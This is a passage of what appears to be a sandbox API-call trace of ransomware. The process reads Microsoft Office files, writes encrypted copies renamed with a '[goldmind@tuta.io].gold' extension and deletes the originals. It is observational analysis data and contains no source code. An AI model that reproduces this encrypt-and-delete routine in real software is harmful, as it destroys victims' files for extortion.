returned 59 [0103.952] lstrlenW (lpString=".dbf") returned 4 [0103.952] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0103.952] lstrlenW (lpString=".1cd") returned 4 [0103.952] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0103.952] lstrlenW (lpString=".jpg") returned 4 [0103.952] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.953] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0103.953] lstrlenW (lpString="OIS_COL.HXT") returned 11 [0103.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.953] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=203) returned 1 [0103.953] CloseHandle (hObject=0x3b4) returned 1 [0103.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt")) returned 0x20 [0103.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.954] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.954] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.954] GetLastError () returned 0x0 [0103.954] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xcb, lpOverlapped=0x0) returned 1 [0103.955] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0103.955] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.956] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0103.956] SetEndOfFile (hFile=0x3a8) returned 1 [0103.956] CloseHandle (hObject=0x3a8) returned 1 [0103.956] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.956] SetEndOfFile (hFile=0x3b4) returned 1 [0103.958] CloseHandle (hObject=0x3b4) returned 1 [0103.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt")) returned 1 [0103.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.958] lstrlenW (lpString=".doc") returned 4 [0103.958] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.958] lstrlenW (lpString=".docx") returned 5 [0103.958] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.959] lstrlenW (lpString=".pdf") returned 4 [0103.959] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.959] lstrlenW (lpString=".xls") returned 4 [0103.959] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.959] lstrlenW (lpString=".xlsx") returned 5 [0103.959] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.959] lstrlenW (lpString=".ppt") returned 4 [0103.959] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.959] lstrlenW (lpString=".zip") returned 4 [0103.959] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.959] lstrlenW (lpString=".rar") returned 4 [0103.959] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.959] lstrlenW (lpString=".bz2") returned 4 [0103.959] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.959] lstrlenW (lpString=".7z") returned 3 [0103.959] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.959] lstrlenW (lpString=".dbf") returned 4 [0103.959] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.959] lstrlenW (lpString=".1cd") returned 4 [0103.959] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.959] lstrlenW (lpString=".jpg") returned 4 [0103.959] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.959] lstrlenW (lpString=".doc") returned 4 [0103.959] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.959] lstrlenW (lpString=".docx") returned 5 [0103.959] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.959] lstrlenW (lpString=".pdf") returned 4 [0103.959] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.959] lstrlenW (lpString=".xls") returned 4 [0103.959] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.959] lstrlenW (lpString=".xlsx") returned 5 [0103.959] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.959] lstrlenW (lpString=".ppt") returned 4 [0103.959] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.959] lstrlenW (lpString=".zip") returned 4 [0103.959] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.959] lstrlenW (lpString=".rar") returned 4 [0103.959] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.960] lstrlenW (lpString=".bz2") returned 4 [0103.960] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.960] lstrlenW (lpString=".7z") returned 3 [0103.960] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.960] lstrlenW (lpString=".dbf") returned 4 [0103.960] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.960] lstrlenW (lpString=".1cd") returned 4 [0103.960] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0103.960] lstrlenW (lpString=".jpg") returned 4 [0103.960] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.960] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.960] lstrlenW (lpString="OIS_F_COL.HXK") returned 13 [0103.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.960] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=114) returned 1 [0103.960] CloseHandle (hObject=0x3b4) returned 1 [0103.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk")) returned 0x20 [0103.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.961] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.961] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.961] GetLastError () returned 0x0 [0103.961] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x72, lpOverlapped=0x0) returned 1 [0103.962] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.963] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.963] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xee, lpOverlapped=0x0) returned 1 [0103.963] SetEndOfFile (hFile=0x3a8) returned 1 [0103.963] CloseHandle (hObject=0x3a8) returned 1 [0103.963] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.963] SetEndOfFile (hFile=0x3b4) returned 1 [0103.965] CloseHandle (hObject=0x3b4) returned 1 [0103.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk")) returned 1 [0103.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.966] lstrlenW (lpString=".doc") returned 4 [0103.966] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.966] lstrlenW (lpString=".docx") returned 5 [0103.966] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.966] lstrlenW (lpString=".pdf") returned 4 [0103.966] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.966] lstrlenW (lpString=".xls") returned 4 [0103.966] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.966] lstrlenW (lpString=".xlsx") returned 5 [0103.966] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.966] lstrlenW (lpString=".ppt") returned 4 [0103.966] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.966] lstrlenW (lpString=".zip") returned 4 [0103.966] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.966] lstrlenW (lpString=".rar") returned 4 [0103.966] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.966] lstrlenW (lpString=".bz2") returned 4 [0103.966] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.966] lstrlenW (lpString=".7z") returned 3 [0103.966] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.966] lstrlenW (lpString=".dbf") returned 4 [0103.966] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.966] lstrlenW (lpString=".1cd") returned 4 [0103.966] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.966] lstrlenW (lpString=".jpg") returned 4 [0103.966] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.966] lstrlenW (lpString=".doc") returned 4 [0103.966] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.966] lstrlenW (lpString=".docx") returned 5 [0103.966] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.967] lstrlenW (lpString=".pdf") returned 4 [0103.967] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.967] lstrlenW (lpString=".xls") returned 4 [0103.967] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.967] lstrlenW (lpString=".xlsx") returned 5 [0103.967] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.967] lstrlenW (lpString=".ppt") returned 4 [0103.967] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.967] lstrlenW (lpString=".zip") returned 4 [0103.967] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.967] lstrlenW (lpString=".rar") returned 4 [0103.967] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.967] lstrlenW (lpString=".bz2") returned 4 [0103.967] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.967] lstrlenW (lpString=".7z") returned 3 [0103.967] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.967] lstrlenW (lpString=".dbf") returned 4 [0103.967] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.967] lstrlenW (lpString=".1cd") returned 4 [0103.967] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0103.967] lstrlenW (lpString=".jpg") returned 4 [0103.967] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.967] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.967] lstrlenW (lpString="OIS_K_COL.HXK") returned 13 [0103.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.968] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=113) returned 1 [0103.968] CloseHandle (hObject=0x3b4) returned 1 [0103.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk")) returned 0x20 [0103.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.968] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.968] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.969] GetLastError () returned 0x0 [0103.969] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x71, lpOverlapped=0x0) returned 1 [0103.970] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.970] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.970] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xee, lpOverlapped=0x0) returned 1 [0103.970] SetEndOfFile (hFile=0x3a8) returned 1 [0103.971] CloseHandle (hObject=0x3a8) returned 1 [0103.971] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.971] SetEndOfFile (hFile=0x3b4) returned 1 [0103.972] CloseHandle (hObject=0x3b4) returned 1 [0103.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk")) returned 1 [0103.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.973] lstrlenW (lpString=".doc") returned 4 [0103.973] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.973] lstrlenW (lpString=".docx") returned 5 [0103.973] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.973] lstrlenW (lpString=".pdf") returned 4 [0103.973] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.973] lstrlenW (lpString=".xls") returned 4 [0103.973] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.973] lstrlenW (lpString=".xlsx") returned 5 [0103.973] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.973] lstrlenW (lpString=".ppt") returned 4 [0103.973] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.973] lstrlenW (lpString=".zip") returned 4 [0103.973] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.974] lstrlenW (lpString=".rar") returned 4 [0103.974] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.974] lstrlenW (lpString=".bz2") returned 4 [0103.974] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.974] lstrlenW (lpString=".7z") returned 3 [0103.974] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.974] lstrlenW (lpString=".dbf") returned 4 [0103.974] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.974] lstrlenW (lpString=".1cd") returned 4 [0103.974] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.974] lstrlenW (lpString=".jpg") returned 4 [0103.974] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.974] lstrlenW (lpString=".doc") returned 4 [0103.974] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.974] lstrlenW (lpString=".docx") returned 5 [0103.974] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.974] lstrlenW (lpString=".pdf") returned 4 [0103.974] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.974] lstrlenW (lpString=".xls") returned 4 [0103.974] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.974] lstrlenW (lpString=".xlsx") returned 5 [0103.974] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.974] lstrlenW (lpString=".ppt") returned 4 [0103.974] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.974] lstrlenW (lpString=".zip") returned 4 [0103.974] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.974] lstrlenW (lpString=".rar") returned 4 [0103.974] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.974] lstrlenW (lpString=".bz2") returned 4 [0103.974] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.974] lstrlenW (lpString=".7z") returned 3 [0103.974] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.974] lstrlenW (lpString=".dbf") returned 4 [0103.974] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.974] lstrlenW (lpString=".1cd") returned 4 [0103.974] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0103.975] lstrlenW (lpString=".jpg") returned 4 [0103.975] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.975] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0103.975] lstrlenW (lpString="OMSINTL.DLL") returned 11 [0103.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0104.333] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=401792) returned 1 [0104.333] CloseHandle (hObject=0x398) returned 1 [0104.333] GetFileAttributesW 